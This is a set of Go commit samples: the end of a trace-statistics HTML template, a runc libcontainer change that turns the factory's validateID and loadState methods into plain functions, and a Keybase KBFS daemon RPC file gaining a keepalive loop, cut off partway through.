 GC sweeping
 GC pause

{{range .GList}}

     {{.ID}}
     {{prettyDuration .TotalTime}}

	  {{if unknownTime .}} {{end}}
          {{if .ExecTime}} {{end}}
          {{if .IOTime}} {{end}}
          {{if .BlockTime}} {{end}}
          {{if .SyscallTime}} {{end}}
          {{if .SchedWaitTime}} {{end}}

     {{prettyDuration .ExecTime}}
     {{prettyDuration .IOTime}}
     {{prettyDuration .BlockTime}}
     {{prettyDuration .SyscallTime}}
     {{prettyDuration .SchedWaitTime}}
     {{prettyDuration .SweepTime}} {{percent .SweepTime .TotalTime}}
     {{prettyDuration .GCTime}} {{percent .GCTime .TotalTime}}

{{end}}

`))
<|endoftext|>


<commit_before>package libcontainer

import (
	"encoding/json"
	"errors"
	"fmt"
	"os"
	"regexp"
	"runtime/debug"
	"strconv"

	securejoin "github.com/cyphar/filepath-securejoin"
	"golang.org/x/sys/unix"

	"github.com/opencontainers/runc/libcontainer/cgroups/manager"
	"github.com/opencontainers/runc/libcontainer/configs"
	"github.com/opencontainers/runc/libcontainer/configs/validate"
	"github.com/opencontainers/runc/libcontainer/intelrdt"
	"github.com/opencontainers/runc/libcontainer/utils"
	"github.com/sirupsen/logrus"
)

const (
	stateFilename    = "state.json"
	execFifoFilename = "exec.fifo"
)

var idRegex = regexp.MustCompile(`^[\w+-\.]+$`)

// New returns a linux based container factory based in the root directory.
func New(root string) (*LinuxFactory, error) {
	if err := os.MkdirAll(root, 0o700); err != nil {
		return nil, err
	}
	return &LinuxFactory{
		Root: root,
	}, nil
}

// LinuxFactory implements the default factory interface for linux based systems.
type LinuxFactory struct {
	// Root directory for the factory to store state.
	Root string
}

// Create creates a new container with the given id and starts the initial
// process inside it.
//
// The id must not be empty and consists of only the following characters:
// ASCII letters, digits, underscore, plus, minus, period. The id must be
// unique and non-existent for the factory with  same root path.
//
// Returns the new container with a running process.
//
// On error, any partially created container parts are cleaned up (the
// operation is atomic).
func (l *LinuxFactory) Create(id string, config *configs.Config) (Container, error) {
	if l.Root == "" {
		return nil, errors.New("root not set")
	}
	if err := l.validateID(id); err != nil {
		return nil, err
	}
	if err := validate.Validate(config); err != nil {
		return nil, err
	}
	containerRoot, err := securejoin.SecureJoin(l.Root, id)
	if err != nil {
		return nil, err
	}
	if _, err := os.Stat(containerRoot); err == nil {
		return nil, ErrExist
	} else if !os.IsNotExist(err) {
		return nil, err
	}

	cm, err := manager.New(config.Cgroups)
	if err != nil {
		return nil, err
	}

	// Check that cgroup does not exist or empty (no processes).
	// Note for cgroup v1 this check is not thorough, as there are multiple
	// separate hierarchies, while both Exists() and GetAllPids() only use
	// one for "devices" controller (assuming others are the same, which is
	// probably true in almost all scenarios). Checking all the hierarchies
	// would be too expensive.
	if cm.Exists() {
		pids, err := cm.GetAllPids()
		// Reading PIDs can race with cgroups removal, so ignore ENOENT and ENODEV.
		if err != nil && !errors.Is(err, os.ErrNotExist) && !errors.Is(err, unix.ENODEV) {
			return nil, fmt.Errorf("unable to get cgroup PIDs: %w", err)
		}
		if len(pids) != 0 {
			// TODO: return an error.
			logrus.Warnf("container's cgroup is not empty: %d process(es) found", len(pids))
			logrus.Warn("DEPRECATED: running container in a non-empty cgroup won't be supported in runc 1.2; https://github.com/opencontainers/runc/issues/3132")
		}
	}

	// Check that cgroup is not frozen. Do not use Exists() here
	// since in cgroup v1 it only checks "devices" controller.
	st, err := cm.GetFreezerState()
	if err != nil {
		return nil, fmt.Errorf("unable to get cgroup freezer state: %w", err)
	}
	if st == configs.Frozen {
		return nil, errors.New("container's cgroup unexpectedly frozen")
	}

	if err := os.MkdirAll(containerRoot, 0o711); err != nil {
		return nil, err
	}
	c := &linuxContainer{
		id:              id,
		root:            containerRoot,
		config:          config,
		cgroupManager:   cm,
		intelRdtManager: intelrdt.NewManager(config, id, ""),
	}
	c.state = &stoppedState{c: c}
	return c, nil
}

// Load takes an ID for an existing container and returns the container
// information from the state. This presents a read only view of the
// container.
func (l *LinuxFactory) Load(id string) (Container, error) {
	if l.Root == "" {
		return nil, errors.New("root not set")
	}
	// when load, we need to check id is valid or not.
	if err := l.validateID(id); err != nil {
		return nil, err
	}
	containerRoot, err := securejoin.SecureJoin(l.Root, id)
	if err != nil {
		return nil, err
	}
	state, err := l.loadState(containerRoot)
	if err != nil {
		return nil, err
	}
	r := &nonChildProcess{
		processPid:       state.InitProcessPid,
		processStartTime: state.InitProcessStartTime,
		fds:              state.ExternalDescriptors,
	}
	cm, err := manager.NewWithPaths(state.Config.Cgroups, state.CgroupPaths)
	if err != nil {
		return nil, err
	}
	c := &linuxContainer{
		initProcess:          r,
		initProcessStartTime: state.InitProcessStartTime,
		id:                   id,
		config:               &state.Config,
		cgroupManager:        cm,
		intelRdtManager:      intelrdt.NewManager(&state.Config, id, state.IntelRdtPath),
		root:                 containerRoot,
		created:              state.Created,
	}
	c.state = &loadedState{c: c}
	if err := c.refreshState(); err != nil {
		return nil, err
	}
	return c, nil
}

// StartInitialization loads a container by opening the pipe fd from the parent
// to read the configuration and state. This is a low level implementation
// detail of the reexec and should not be consumed externally.
func StartInitialization() (err error) {
	// Get the INITPIPE.
	envInitPipe := os.Getenv("_LIBCONTAINER_INITPIPE")
	pipefd, err := strconv.Atoi(envInitPipe)
	if err != nil {
		err = fmt.Errorf("unable to convert _LIBCONTAINER_INITPIPE: %w", err)
		logrus.Error(err)
		return err
	}
	pipe := os.NewFile(uintptr(pipefd), "pipe")
	defer pipe.Close()

	defer func() {
		// We have an error during the initialization of the container's init,
		// send it back to the parent process in the form of an initError.
		if werr := writeSync(pipe, procError); werr != nil {
			fmt.Fprintln(os.Stderr, err)
			return
		}
		if werr := utils.WriteJSON(pipe, &initError{Message: err.Error()}); werr != nil {
			fmt.Fprintln(os.Stderr, err)
			return
		}
	}()

	// Only init processes have FIFOFD.
	fifofd := -1
	envInitType := os.Getenv("_LIBCONTAINER_INITTYPE")
	it := initType(envInitType)
	if it == initStandard {
		envFifoFd := os.Getenv("_LIBCONTAINER_FIFOFD")
		if fifofd, err = strconv.Atoi(envFifoFd); err != nil {
			return fmt.Errorf("unable to convert _LIBCONTAINER_FIFOFD: %w", err)
		}
	}

	var consoleSocket *os.File
	if envConsole := os.Getenv("_LIBCONTAINER_CONSOLE"); envConsole != "" {
		console, err := strconv.Atoi(envConsole)
		if err != nil {
			return fmt.Errorf("unable to convert _LIBCONTAINER_CONSOLE: %w", err)
		}
		consoleSocket = os.NewFile(uintptr(console), "console-socket")
		defer consoleSocket.Close()
	}

	logPipeFdStr := os.Getenv("_LIBCONTAINER_LOGPIPE")
	logPipeFd, err := strconv.Atoi(logPipeFdStr)
	if err != nil {
		return fmt.Errorf("unable to convert _LIBCONTAINER_LOGPIPE: %w", err)
	}

	// Get mount files (O_PATH).
	mountFds, err := parseMountFds()
	if err != nil {
		return err
	}

	// clear the current process's environment to clean any libcontainer
	// specific env vars.
	os.Clearenv()

	defer func() {
		if e := recover(); e != nil {
			if e, ok := e.(error); ok {
				err = fmt.Errorf("panic from initialization: %w, %s", e, debug.Stack())
			} else {
				//nolint:errorlint // here e is not of error type
				err = fmt.Errorf("panic from initialization: %v, %s", e, debug.Stack())
			}
		}
	}()

	i, err := newContainerInit(it, pipe, consoleSocket, fifofd, logPipeFd, mountFds)
	if err != nil {
		return err
	}

	// If Init succeeds, syscall.Exec will not return, hence none of the defers will be called.
	return i.Init()
}

func (l *LinuxFactory) loadState(root string) (*State, error) {
	stateFilePath, err := securejoin.SecureJoin(root, stateFilename)
	if err != nil {
		return nil, err
	}
	f, err := os.Open(stateFilePath)
	if err != nil {
		if os.IsNotExist(err) {
			return nil, ErrNotExist
		}
		return nil, err
	}
	defer f.Close()
	var state *State
	if err := json.NewDecoder(f).Decode(&state); err != nil {
		return nil, err
	}
	return state, nil
}

func (l *LinuxFactory) validateID(id string) error {
	if !idRegex.MatchString(id) || string(os.PathSeparator)+id != utils.CleanPath(string(os.PathSeparator)+id) {
		return ErrInvalidID
	}

	return nil
}

func parseMountFds() ([]int, error) {
	fdsJSON := os.Getenv("_LIBCONTAINER_MOUNT_FDS")
	if fdsJSON == "" {
		// Always return the nil slice if no fd is present.
		return nil, nil
	}

	var mountFds []int
	if err := json.Unmarshal([]byte(fdsJSON), &mountFds); err != nil {
		return nil, fmt.Errorf("Error unmarshalling _LIBCONTAINER_MOUNT_FDS: %w", err)
	}

	return mountFds, nil
}
<commit_msg>libct/factory: make some methods functions<commit_after>package libcontainer

import (
	"encoding/json"
	"errors"
	"fmt"
	"os"
	"regexp"
	"runtime/debug"
	"strconv"

	securejoin "github.com/cyphar/filepath-securejoin"
	"golang.org/x/sys/unix"

	"github.com/opencontainers/runc/libcontainer/cgroups/manager"
	"github.com/opencontainers/runc/libcontainer/configs"
	"github.com/opencontainers/runc/libcontainer/configs/validate"
	"github.com/opencontainers/runc/libcontainer/intelrdt"
	"github.com/opencontainers/runc/libcontainer/utils"
	"github.com/sirupsen/logrus"
)

const (
	stateFilename    = "state.json"
	execFifoFilename = "exec.fifo"
)

var idRegex = regexp.MustCompile(`^[\w+-\.]+$`)

// New returns a linux based container factory based in the root directory.
func New(root string) (*LinuxFactory, error) {
	if err := os.MkdirAll(root, 0o700); err != nil {
		return nil, err
	}
	return &LinuxFactory{
		Root: root,
	}, nil
}

// LinuxFactory implements the default factory interface for linux based systems.
type LinuxFactory struct {
	// Root directory for the factory to store state.
	Root string
}

// Create creates a new container with the given id and starts the initial
// process inside it.
//
// The id must not be empty and consists of only the following characters:
// ASCII letters, digits, underscore, plus, minus, period. The id must be
// unique and non-existent for the factory with  same root path.
//
// Returns the new container with a running process.
//
// On error, any partially created container parts are cleaned up (the
// operation is atomic).
func (l *LinuxFactory) Create(id string, config *configs.Config) (Container, error) {
	if l.Root == "" {
		return nil, errors.New("root not set")
	}
	if err := validateID(id); err != nil {
		return nil, err
	}
	if err := validate.Validate(config); err != nil {
		return nil, err
	}
	containerRoot, err := securejoin.SecureJoin(l.Root, id)
	if err != nil {
		return nil, err
	}
	if _, err := os.Stat(containerRoot); err == nil {
		return nil, ErrExist
	} else if !os.IsNotExist(err) {
		return nil, err
	}

	cm, err := manager.New(config.Cgroups)
	if err != nil {
		return nil, err
	}

	// Check that cgroup does not exist or empty (no processes).
	// Note for cgroup v1 this check is not thorough, as there are multiple
	// separate hierarchies, while both Exists() and GetAllPids() only use
	// one for "devices" controller (assuming others are the same, which is
	// probably true in almost all scenarios). Checking all the hierarchies
	// would be too expensive.
	if cm.Exists() {
		pids, err := cm.GetAllPids()
		// Reading PIDs can race with cgroups removal, so ignore ENOENT and ENODEV.
		if err != nil && !errors.Is(err, os.ErrNotExist) && !errors.Is(err, unix.ENODEV) {
			return nil, fmt.Errorf("unable to get cgroup PIDs: %w", err)
		}
		if len(pids) != 0 {
			// TODO: return an error.
			logrus.Warnf("container's cgroup is not empty: %d process(es) found", len(pids))
			logrus.Warn("DEPRECATED: running container in a non-empty cgroup won't be supported in runc 1.2; https://github.com/opencontainers/runc/issues/3132")
		}
	}

	// Check that cgroup is not frozen. Do not use Exists() here
	// since in cgroup v1 it only checks "devices" controller.
	st, err := cm.GetFreezerState()
	if err != nil {
		return nil, fmt.Errorf("unable to get cgroup freezer state: %w", err)
	}
	if st == configs.Frozen {
		return nil, errors.New("container's cgroup unexpectedly frozen")
	}

	if err := os.MkdirAll(containerRoot, 0o711); err != nil {
		return nil, err
	}
	c := &linuxContainer{
		id:              id,
		root:            containerRoot,
		config:          config,
		cgroupManager:   cm,
		intelRdtManager: intelrdt.NewManager(config, id, ""),
	}
	c.state = &stoppedState{c: c}
	return c, nil
}

// Load takes an ID for an existing container and returns the container
// information from the state. This presents a read only view of the
// container.
func (l *LinuxFactory) Load(id string) (Container, error) {
	if l.Root == "" {
		return nil, errors.New("root not set")
	}
	// when load, we need to check id is valid or not.
	if err := validateID(id); err != nil {
		return nil, err
	}
	containerRoot, err := securejoin.SecureJoin(l.Root, id)
	if err != nil {
		return nil, err
	}
	state, err := loadState(containerRoot)
	if err != nil {
		return nil, err
	}
	r := &nonChildProcess{
		processPid:       state.InitProcessPid,
		processStartTime: state.InitProcessStartTime,
		fds:              state.ExternalDescriptors,
	}
	cm, err := manager.NewWithPaths(state.Config.Cgroups, state.CgroupPaths)
	if err != nil {
		return nil, err
	}
	c := &linuxContainer{
		initProcess:          r,
		initProcessStartTime: state.InitProcessStartTime,
		id:                   id,
		config:               &state.Config,
		cgroupManager:        cm,
		intelRdtManager:      intelrdt.NewManager(&state.Config, id, state.IntelRdtPath),
		root:                 containerRoot,
		created:              state.Created,
	}
	c.state = &loadedState{c: c}
	if err := c.refreshState(); err != nil {
		return nil, err
	}
	return c, nil
}

// StartInitialization loads a container by opening the pipe fd from the parent
// to read the configuration and state. This is a low level implementation
// detail of the reexec and should not be consumed externally.
func StartInitialization() (err error) {
	// Get the INITPIPE.
	envInitPipe := os.Getenv("_LIBCONTAINER_INITPIPE")
	pipefd, err := strconv.Atoi(envInitPipe)
	if err != nil {
		err = fmt.Errorf("unable to convert _LIBCONTAINER_INITPIPE: %w", err)
		logrus.Error(err)
		return err
	}
	pipe := os.NewFile(uintptr(pipefd), "pipe")
	defer pipe.Close()

	defer func() {
		// We have an error during the initialization of the container's init,
		// send it back to the parent process in the form of an initError.
		if werr := writeSync(pipe, procError); werr != nil {
			fmt.Fprintln(os.Stderr, err)
			return
		}
		if werr := utils.WriteJSON(pipe, &initError{Message: err.Error()}); werr != nil {
			fmt.Fprintln(os.Stderr, err)
			return
		}
	}()

	// Only init processes have FIFOFD.
	fifofd := -1
	envInitType := os.Getenv("_LIBCONTAINER_INITTYPE")
	it := initType(envInitType)
	if it == initStandard {
		envFifoFd := os.Getenv("_LIBCONTAINER_FIFOFD")
		if fifofd, err = strconv.Atoi(envFifoFd); err != nil {
			return fmt.Errorf("unable to convert _LIBCONTAINER_FIFOFD: %w", err)
		}
	}

	var consoleSocket *os.File
	if envConsole := os.Getenv("_LIBCONTAINER_CONSOLE"); envConsole != "" {
		console, err := strconv.Atoi(envConsole)
		if err != nil {
			return fmt.Errorf("unable to convert _LIBCONTAINER_CONSOLE: %w", err)
		}
		consoleSocket = os.NewFile(uintptr(console), "console-socket")
		defer consoleSocket.Close()
	}

	logPipeFdStr := os.Getenv("_LIBCONTAINER_LOGPIPE")
	logPipeFd, err := strconv.Atoi(logPipeFdStr)
	if err != nil {
		return fmt.Errorf("unable to convert _LIBCONTAINER_LOGPIPE: %w", err)
	}

	// Get mount files (O_PATH).
	mountFds, err := parseMountFds()
	if err != nil {
		return err
	}

	// clear the current process's environment to clean any libcontainer
	// specific env vars.
	os.Clearenv()

	defer func() {
		if e := recover(); e != nil {
			if e, ok := e.(error); ok {
				err = fmt.Errorf("panic from initialization: %w, %s", e, debug.Stack())
			} else {
				//nolint:errorlint // here e is not of error type
				err = fmt.Errorf("panic from initialization: %v, %s", e, debug.Stack())
			}
		}
	}()

	i, err := newContainerInit(it, pipe, consoleSocket, fifofd, logPipeFd, mountFds)
	if err != nil {
		return err
	}

	// If Init succeeds, syscall.Exec will not return, hence none of the defers will be called.
	return i.Init()
}

func loadState(root string) (*State, error) {
	stateFilePath, err := securejoin.SecureJoin(root, stateFilename)
	if err != nil {
		return nil, err
	}
	f, err := os.Open(stateFilePath)
	if err != nil {
		if os.IsNotExist(err) {
			return nil, ErrNotExist
		}
		return nil, err
	}
	defer f.Close()
	var state *State
	if err := json.NewDecoder(f).Decode(&state); err != nil {
		return nil, err
	}
	return state, nil
}

func validateID(id string) error {
	if !idRegex.MatchString(id) || string(os.PathSeparator)+id != utils.CleanPath(string(os.PathSeparator)+id) {
		return ErrInvalidID
	}

	return nil
}

func parseMountFds() ([]int, error) {
	fdsJSON := os.Getenv("_LIBCONTAINER_MOUNT_FDS")
	if fdsJSON == "" {
		// Always return the nil slice if no fd is present.
		return nil, nil
	}

	var mountFds []int
	if err := json.Unmarshal([]byte(fdsJSON), &mountFds); err != nil {
		return nil, fmt.Errorf("Error unmarshalling _LIBCONTAINER_MOUNT_FDS: %w", err)
	}

	return mountFds, nil
}
<|endoftext|>


<commit_before>// Copyright 2016 Keybase Inc. All rights reserved.
// Use of this source code is governed by a BSD
// license that can be found in the LICENSE file.

package libkbfs

import (
	"os"
	"time"

	"github.com/keybase/client/go/libkb"
	"github.com/keybase/client/go/logger"
	"github.com/keybase/client/go/protocol/keybase1"
	"github.com/keybase/go-framed-msgpack-rpc/rpc"
	"golang.org/x/net/context"
)

// KeybaseDaemonRPC implements the KeybaseService interface using RPC
// calls.
type KeybaseDaemonRPC struct {
	*KeybaseServiceBase
	daemonLog logger.Logger

	// Only used when there's a real connection (i.e., not in
	// testing).
	shutdownFn func()

	// protocols (additional to required protocols) to register on server connect
	protocols []rpc.Protocol
}

var _ keybase1.NotifySessionInterface = (*KeybaseDaemonRPC)(nil)

var _ keybase1.NotifyKeyfamilyInterface = (*KeybaseDaemonRPC)(nil)

var _ keybase1.NotifyPaperKeyInterface = (*KeybaseDaemonRPC)(nil)

var _ rpc.ConnectionHandler = (*KeybaseDaemonRPC)(nil)

var _ KeybaseService = (*KeybaseDaemonRPC)(nil)

// NewKeybaseDaemonRPC makes a new KeybaseDaemonRPC that makes RPC
// calls using the socket of the given Keybase context.
func NewKeybaseDaemonRPC(config Config, kbCtx Context, log logger.Logger, debug bool) *KeybaseDaemonRPC {
	k := newKeybaseDaemonRPC(config, kbCtx, log)
	k.config = config
	k.daemonLog = logger.NewWithCallDepth("daemon", 1)
	if debug {
		k.daemonLog.Configure("", true, "")
	}
	conn := NewSharedKeybaseConnection(kbCtx, config, k)
	k.fillClients(conn.GetClient())
	k.shutdownFn = conn.Shutdown
	return k
}

// For testing.
func newKeybaseDaemonRPCWithClient(kbCtx Context, client rpc.GenericClient,
	log logger.Logger) *KeybaseDaemonRPC {
	k := newKeybaseDaemonRPC(nil, kbCtx, log)
	k.fillClients(client)
	return k
}

func newKeybaseDaemonRPC(config Config, kbCtx Context, log logger.Logger) *KeybaseDaemonRPC {
	serviceBase := NewKeybaseServiceBase(config, kbCtx, log)
	if serviceBase == nil {
		return nil
	}
	k := KeybaseDaemonRPC{
		KeybaseServiceBase: serviceBase,
	}
	return &k
}

func (k *KeybaseDaemonRPC) fillClients(client rpc.GenericClient) {
	k.FillClients(keybase1.IdentifyClient{Cli: client},
		keybase1.UserClient{Cli: client},
		keybase1.SessionClient{Cli: client},
		keybase1.FavoriteClient{Cli: client},
		keybase1.KbfsClient{Cli: client},
		keybase1.KbfsMountClient{Cli: client})
}

type daemonLogUI struct {
	log logger.Logger
}

var _ keybase1.LogUiInterface = daemonLogUI{}

func (l daemonLogUI) Log(ctx context.Context, arg keybase1.LogArg) error {
	format := "%s"
	// arg.Text.Markup should always be false, so ignore it.
	s := arg.Text.Data
	switch arg.Level {
	case keybase1.LogLevel_DEBUG:
		l.log.CDebugf(ctx, format, s)
	case keybase1.LogLevel_INFO:
		l.log.CInfof(ctx, format, s)
	case keybase1.LogLevel_WARN:
		l.log.CWarningf(ctx, format, s)
	case keybase1.LogLevel_ERROR:
		l.log.CErrorf(ctx, format, s)
	case keybase1.LogLevel_NOTICE:
		l.log.CNoticef(ctx, format, s)
	case keybase1.LogLevel_CRITICAL:
		l.log.CCriticalf(ctx, format, s)
	default:
		l.log.CWarningf(ctx, format, s)
	}
	return nil
}

type daemonIdentifyUI struct {
	log logger.Logger
}

var _ keybase1.IdentifyUiInterface = daemonIdentifyUI{}

func (d daemonIdentifyUI) DelegateIdentifyUI(ctx context.Context) (int, error) {
	d.log.CDebugf(ctx, "DelegateIdentifyUI() (returning 0, UIDelegationUnavailableError{}")
	return 0, libkb.UIDelegationUnavailableError{}
}

func (d daemonIdentifyUI) Start(ctx context.Context, arg keybase1.StartArg) error {
	d.log.CDebugf(ctx, "Start(%+v)", arg)
	return nil
}

func (d daemonIdentifyUI) DisplayKey(ctx context.Context, arg keybase1.DisplayKeyArg) error {
	d.log.CDebugf(ctx, "DisplayKey(%+v)", arg)
	return nil
}

func (d daemonIdentifyUI) ReportLastTrack(ctx context.Context, arg keybase1.ReportLastTrackArg) error {
	d.log.CDebugf(ctx, "ReportLastTrack(%+v)", arg)
	return nil
}

func (d daemonIdentifyUI) LaunchNetworkChecks(ctx context.Context, arg keybase1.LaunchNetworkChecksArg) error {
	d.log.CDebugf(ctx, "LaunchNetworkChecks(%+v)", arg)
	return nil
}

func (d daemonIdentifyUI) DisplayTrackStatement(ctx context.Context, arg keybase1.DisplayTrackStatementArg) error {
	d.log.CDebugf(ctx, "DisplayTrackStatement(%+v)", arg)
	return nil
}

func (d daemonIdentifyUI) FinishWebProofCheck(ctx context.Context, arg keybase1.FinishWebProofCheckArg) error {
	d.log.CDebugf(ctx, "FinishWebProofCheck(%+v)", arg)
	return nil
}

func (d daemonIdentifyUI) FinishSocialProofCheck(ctx context.Context, arg keybase1.FinishSocialProofCheckArg) error {
	d.log.CDebugf(ctx, "FinishSocialProofCheck(%+v)", arg)
	return nil
}

func (d daemonIdentifyUI) DisplayCryptocurrency(ctx context.Context, arg keybase1.DisplayCryptocurrencyArg) error {
	d.log.CDebugf(ctx, "DisplayCryptocurrency(%+v)", arg)
	return nil
}

func (d daemonIdentifyUI) ReportTrackToken(ctx context.Context, arg keybase1.ReportTrackTokenArg) error {
	d.log.CDebugf(ctx, "ReportTrackToken(%+v)", arg)
	return nil
}

func (d daemonIdentifyUI) DisplayUserCard(ctx context.Context, arg keybase1.DisplayUserCardArg) error {
	d.log.CDebugf(ctx, "DisplayUserCard(%+v)", arg)
	return nil
}

func (d daemonIdentifyUI) Confirm(ctx context.Context, arg keybase1.ConfirmArg) (keybase1.ConfirmResult, error) {
	d.log.CDebugf(ctx, "Confirm(%+v) (returning false)", arg)
	return keybase1.ConfirmResult{
		IdentityConfirmed: false,
		RemoteConfirmed:   false,
	}, nil
}

func (d daemonIdentifyUI) DisplayTLFCreateWithInvite(ctx context.Context,
	arg keybase1.DisplayTLFCreateWithInviteArg) (err error) {
	return nil
}

func (d daemonIdentifyUI) Dismiss(ctx context.Context,
	_ keybase1.DismissArg) error {
	return nil
}

func (d daemonIdentifyUI) Cancel(ctx context.Context, sessionID int) error {
	d.log.CDebugf(ctx, "Cancel(%d)", sessionID)
	return nil
}

func (d daemonIdentifyUI) Finish(ctx context.Context, sessionID int) error {
	d.log.CDebugf(ctx, "Finish(%d)", sessionID)
	return nil
}

// HandlerName implements the ConnectionHandler interface.
func (*KeybaseDaemonRPC) HandlerName() string {
	return "KeybaseDaemonRPC"
}

// AddProtocols adds protocols that are registered on server connect
func (k *KeybaseDaemonRPC) AddProtocols(protocols []rpc.Protocol) {
	if protocols == nil {
		return
	}
	if k.protocols != nil {
		k.protocols = append(k.protocols, protocols...)
	} else {
		k.protocols = protocols
	}
}

// OnConnect implements the ConnectionHandler interface.
func (k *KeybaseDaemonRPC) OnConnect(ctx context.Context,
	conn *rpc.Connection, rawClient rpc.GenericClient,
	server *rpc.Server) error {

	// Protocols that KBFS requires
	protocols := []rpc.Protocol{
		keybase1.LogUiProtocol(daemonLogUI{k.daemonLog}),
		keybase1.IdentifyUiProtocol(daemonIdentifyUI{k.daemonLog}),
		keybase1.NotifySessionProtocol(k),
		keybase1.NotifyKeyfamilyProtocol(k),
		keybase1.NotifyPaperKeyProtocol(k),
		keybase1.NotifyFSRequestProtocol(k),
		keybase1.TlfKeysProtocol(k),
	}

	if k.protocols != nil {
		protocols = append(protocols, k.protocols...)
	}

	for _, p := range protocols {
		err := server.Register(p)
		if err != nil {
			if _, ok := err.(rpc.AlreadyRegisteredError); !ok {
				return err
			}
		}
	}

	// Using conn.GetClient() here would cause problematic
	// recursion.
	c := keybase1.NotifyCtlClient{Cli: rawClient}
	err := c.SetNotifications(ctx, keybase1.NotificationChannels{
		Session:     true,
		Paperkeys:   true,
		Keyfamily:   true,
		Kbfsrequest: true,
	})
	if err != nil {
		return err
	}

	// Introduce ourselves. TODO: move this to SharedKeybaseConnection
	// somehow?
	configClient := keybase1.ConfigClient{Cli: rawClient}
	err = configClient.HelloIAm(ctx, keybase1.ClientDetails{
		Pid:        os.Getpid(),
		ClientType: keybase1.ClientType_KBFS,
		Argv:       os.Args,
		Version:    VersionString(),
	})
	if err != nil {
		return err
	}

	return nil
}

// OnConnectError implements the ConnectionHandler interface.
func (k *KeybaseDaemonRPC) OnConnectError(err error, wait time.Duration) {
	k.log.Warning("KeybaseDaemonRPC: connection error: %q; retrying in %s",
		err, wait)
}

// OnDoCommandError implements the ConnectionHandler interface.
func (k *KeybaseDaemonRPC) OnDoCommandError(err error, wait time.Duration) {
	k.log.Warning("KeybaseDaemonRPC: docommand error: %q; retrying in %s",
		err, wait)
}

// OnDisconnected implements the ConnectionHandler interface.
func (k *KeybaseDaemonRPC) OnDisconnected(_ context.Context,
	status rpc.DisconnectStatus) {
	if status == rpc.StartingNonFirstConnection {
		k.log.Warning("KeybaseDaemonRPC is disconnected")
	}

	k.clearCaches()
}

// ShouldRetry implements the ConnectionHandler interface.
func (k *KeybaseDaemonRPC) ShouldRetry(rpcName string, err error) bool {
	return false
}

// ShouldRetryOnConnect implements the ConnectionHandler interface.
func (k *KeybaseDaemonRPC) ShouldRetryOnConnect(err error) bool {
	_, inputCanceled := err.(libkb.InputCanceledError)
	return !inputCanceled
}

// Shutdown implements the KeybaseService interface for KeybaseDaemonRPC.
func (k *KeybaseDaemonRPC) Shutdown() {
	if k.shutdownFn != nil {
		k.shutdownFn()
	}
}
<commit_msg>keybase_daemon_rpc: keep the conn alive with CurrentSession calls<commit_after>// Copyright 2016 Keybase Inc. All rights reserved.
// Use of this source code is governed by a BSD
// license that can be found in the LICENSE file.

package libkbfs

import (
	"os"
	"time"

	"github.com/keybase/client/go/libkb"
	"github.com/keybase/client/go/logger"
	"github.com/keybase/client/go/protocol/keybase1"
	"github.com/keybase/go-framed-msgpack-rpc/rpc"
	"golang.org/x/net/context"
)

// KeybaseDaemonRPC implements the KeybaseService interface using RPC
// calls.
type KeybaseDaemonRPC struct {
	*KeybaseServiceBase
	daemonLog logger.Logger

	// Only used when there's a real connection (i.e., not in
	// testing).
	shutdownFn func()

	keepAliveCancel context.CancelFunc

	// protocols (additional to required protocols) to register on server connect
	protocols []rpc.Protocol
}

var _ keybase1.NotifySessionInterface = (*KeybaseDaemonRPC)(nil)

var _ keybase1.NotifyKeyfamilyInterface = (*KeybaseDaemonRPC)(nil)

var _ keybase1.NotifyPaperKeyInterface = (*KeybaseDaemonRPC)(nil)

var _ rpc.ConnectionHandler = (*KeybaseDaemonRPC)(nil)

var _ KeybaseService = (*KeybaseDaemonRPC)(nil)

// NewKeybaseDaemonRPC makes a new KeybaseDaemonRPC that makes RPC
// calls using the socket of the given Keybase context.
func NewKeybaseDaemonRPC(config Config, kbCtx Context, log logger.Logger, debug bool) *KeybaseDaemonRPC {
	k := newKeybaseDaemonRPC(config, kbCtx, log)
	k.config = config
	k.daemonLog = logger.NewWithCallDepth("daemon", 1)
	if debug {
		k.daemonLog.Configure("", true, "")
	}
	conn := NewSharedKeybaseConnection(kbCtx, config, k)
	k.fillClients(conn.GetClient())
	k.shutdownFn = conn.Shutdown

	ctx, cancel := context.WithCancel(context.Background())
	k.keepAliveCancel = cancel
	go k.keepAliveLoop(ctx)

	return k
}

// For testing.
func newKeybaseDaemonRPCWithClient(kbCtx Context, client rpc.GenericClient,
	log logger.Logger) *KeybaseDaemonRPC {
	k := newKeybaseDaemonRPC(nil, kbCtx, log)
	k.fillClients(client)
	// No need for a keepalive loop in this case, since this is only
	// used during testing.
	return k
}

func newKeybaseDaemonRPC(config Config, kbCtx Context, log logger.Logger) *KeybaseDaemonRPC {
	serviceBase := NewKeybaseServiceBase(config, kbCtx, log)
	if serviceBase == nil {
		return nil
	}
	k := KeybaseDaemonRPC{
		KeybaseServiceBase: serviceBase,
	}
	return &k
}

func (k *KeybaseDaemonRPC) fillClients(client rpc.GenericClient) {
	k.FillClients(keybase1.IdentifyClient{Cli: client},
		keybase1.UserClient{Cli: client},
		keybase1.SessionClient{Cli: client},
		keybase1.FavoriteClient{Cli: client},
		keybase1.KbfsClient{Cli: client},
		keybase1.KbfsMountClient{Cli: client})
}

type daemonLogUI struct {
	log logger.Logger
}

var _ keybase1.LogUiInterface = daemonLogUI{}

func (l daemonLogUI) Log(ctx context.Context, arg keybase1.LogArg) error {
	format := "%s"
	// arg.Text.Markup should always be false, so ignore it.
	s := arg.Text.Data
	switch arg.Level {
	case keybase1.LogLevel_DEBUG:
		l.log.CDebugf(ctx, format, s)
	case keybase1.LogLevel_INFO:
		l.log.CInfof(ctx, format, s)
	case keybase1.LogLevel_WARN:
		l.log.CWarningf(ctx, format, s)
	case keybase1.LogLevel_ERROR:
		l.log.CErrorf(ctx, format, s)
	case keybase1.LogLevel_NOTICE:
		l.log.CNoticef(ctx, format, s)
	case keybase1.LogLevel_CRITICAL:
		l.log.CCriticalf(ctx, format, s)
	default:
		l.log.CWarningf(ctx, format, s)
	}
	return nil
}

type daemonIdentifyUI struct {
	log logger.Logger
}

var _ keybase1.IdentifyUiInterface = daemonIdentifyUI{}

func (d daemonIdentifyUI) DelegateIdentifyUI(ctx context.Context) (int, error) {
	d.log.CDebugf(ctx, "DelegateIdentifyUI() (returning 0, UIDelegationUnavailableError{}")
	return 0, libkb.UIDelegationUnavailableError{}
}

func (d daemonIdentifyUI) Start(ctx context.Context, arg keybase1.StartArg) error {
	d.log.CDebugf(ctx, "Start(%+v)", arg)
	return nil
}

func (d daemonIdentifyUI) DisplayKey(ctx context.Context, arg keybase1.DisplayKeyArg) error {
	d.log.CDebugf(ctx, "DisplayKey(%+v)", arg)
	return nil
}

